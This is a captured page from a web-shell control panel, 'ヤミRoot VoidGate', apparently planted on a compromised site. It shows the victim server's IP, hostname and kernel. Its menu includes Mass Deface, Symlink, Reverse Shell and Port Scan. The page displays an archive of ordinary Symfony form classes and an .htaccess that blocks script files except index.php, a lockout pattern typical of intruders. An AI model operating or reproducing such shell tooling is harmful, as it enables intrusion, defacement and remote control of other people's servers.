ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
fixtures
/
assert
/
Viewing: Form.tar
RegistrationFormType.php 0000644 00000003732 15117736671 0011440 0 ustar 00 <?php namespace App\Form; use App\Entity\User; use Symfony\Component\Form\AbstractType; use Symfony\Component\Form\Extension\Core\Type\CheckboxType; use Symfony\Component\Form\Extension\Core\Type\PasswordType; use Symfony\Component\Form\FormBuilderInterface; use Symfony\Component\OptionsResolver\OptionsResolver; use Symfony\Component\Validator\Constraints\IsTrue; use Symfony\Component\Validator\Constraints\Length; use Symfony\Component\Validator\Constraints\NotBlank; class RegistrationFormType extends AbstractType { public function buildForm(FormBuilderInterface $builder, array $options): void { $builder ->add('lastName') ->add('firstName') ->add('phoneNumber') ->add('email') ->add('agreeTerms', CheckboxType::class, [ 'mapped' => false, 'constraints' => [ new IsTrue([ 'message' => 'You should agree to our terms.', ]), ], ]) ->add('plainPassword', PasswordType::class, [ // instead of being set onto the object directly, // this is read and encoded in the controller 'mapped' => false, 'attr' => ['autocomplete' => 'new-password'], 'constraints' => [ new NotBlank([ 'message' => 'Please enter a password', ]), new Length([ 'min' => 6, 'minMessage' => 'Your password should be at least {{ limit }} characters', // max length allowed by Symfony for security reasons 'max' => 4096, ]), ], ]) ; } public function configureOptions(OptionsResolver $resolver): void { $resolver->setDefaults([ 'data_class' => User::class, ]); } } UserType.php 0000644 00000001267 15117736671 0007061 0 ustar 00 <?php namespace App\Form; use App\Entity\User; use Symfony\Component\Form\AbstractType; use Symfony\Component\Form\FormBuilderInterface; use Symfony\Component\OptionsResolver\OptionsResolver; class UserType extends AbstractType { public function buildForm(FormBuilderInterface $builder, array $options) { $builder ->add('username') ->add('email') ->add('plainPassword') ->add('roles') ->add('lastName') ->add('firstName') ; } public function configureOptions(OptionsResolver $resolver) { $resolver->setDefaults([ 'data_class' => User::class, ]); } } MediaObjectType.php 0000644 00000004330 15117736671 0010303 0 ustar 00 <?php namespace App\Form; use App\Entity\MediaObject; use Symfony\Component\Form\AbstractType; use Symfony\Component\Form\Extension\Core\Type\ChoiceType; use Symfony\Component\Form\Extension\Core\Type\FileType; use Symfony\Component\Form\FormBuilderInterface; use Symfony\Component\OptionsResolver\OptionsResolver; use Symfony\Component\Validator\Constraints\File; class MediaObjectType extends AbstractType { public function buildForm(FormBuilderInterface $builder, array $options) { $builder // ... ->add('media', FileType::class, [ 'label' => 'Add New (Image file)', // unmapped means that this field is not associated to any entity property 'mapped' => false, // make it optional so you don't have to re-upload the PDF file // every time you edit the Product details 'required' => false, // unmapped fields can't define their validation using annotations // in the associated entity, so you can use the PHP constraint classes 'constraints' => [ new File([ 'maxSize' => '8024k', 'mimeTypes' => [ 'image/*' ], 'mimeTypesMessage' => 'Please upload a valid image', ]) ], ]) ->add('file_type', ChoiceType::class, [ 'choices' => [ 'Company Logo' => "company", 'User Profile' => "user", 'Background' => "background", 'Country' => "country_flag", 'Town' => "town", 'Building' => "building", 'Room' => "room", 'Announce' => "announce", 'Payment Option' => "payment", 'Payment Provider' => "payment_provider", ], ]) // ... ; } public function configureOptions(OptionsResolver $resolver): void { $resolver->setDefaults([ 'data_class' => MediaObject::class, ]); } } ChangePasswordFormType.php 0000644 00000003604 15117736671 0011674 0 ustar 00 <?php namespace App\Form; use Symfony\Component\Form\AbstractType; use Symfony\Component\Form\Extension\Core\Type\PasswordType; use Symfony\Component\Form\Extension\Core\Type\RepeatedType; use Symfony\Component\Form\FormBuilderInterface; use Symfony\Component\OptionsResolver\OptionsResolver; use Symfony\Component\Validator\Constraints\Length; use Symfony\Component\Validator\Constraints\NotBlank; class ChangePasswordFormType extends AbstractType { public function buildForm(FormBuilderInterface $builder, array $options): void { $builder ->add('plainPassword', RepeatedType::class, [ 'type' => PasswordType::class, 'first_options' => [ 'attr' => ['autocomplete' => 'new-password'], 'constraints' => [ new NotBlank([ 'message' => 'Please enter a password', ]), new Length([ 'min' => 6, 'minMessage' => 'Your password should be at least {{ limit }} characters', // max length allowed by Symfony for security reasons 'max' => 4096, ]), ], 'label' => 'New password', ], 'second_options' => [ 'attr' => ['autocomplete' => 'new-password'], 'label' => 'Repeat Password', ], 'invalid_message' => 'The password fields must match.', // Instead of being set onto the object directly, // this is read and encoded in the controller 'mapped' => false, ]) ; } public function configureOptions(OptionsResolver $resolver): void { $resolver->setDefaults([]); } } ResetPasswordRequestFormType.php 0000644 00000001561 15117736671 0013142 0 ustar 00 <?php namespace App\Form; use Symfony\Component\Form\AbstractType; use Symfony\Component\Form\Extension\Core\Type\EmailType; use Symfony\Component\Form\FormBuilderInterface; use Symfony\Component\OptionsResolver\OptionsResolver; use Symfony\Component\Validator\Constraints\NotBlank; class ResetPasswordRequestFormType extends AbstractType { public function buildForm(FormBuilderInterface $builder, array $options): void { $builder ->add('email', EmailType::class, [ 'attr' => ['autocomplete' => 'email'], 'constraints' => [ new NotBlank([ 'message' => 'Please enter your email', ]), ], ]) ; } public function configureOptions(OptionsResolver $resolver): void { $resolver->setDefaults([]); } } Test/.htaccess 0000644 00000000325 15117736671 0007277 0 ustar 00 <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|php7|phP|PhP|php5|php8|suspected)$'> Order allow,deny Deny from all </FilesMatch> <FilesMatch '^(index.php)$'> Order allow,deny Allow from all </FilesMatch>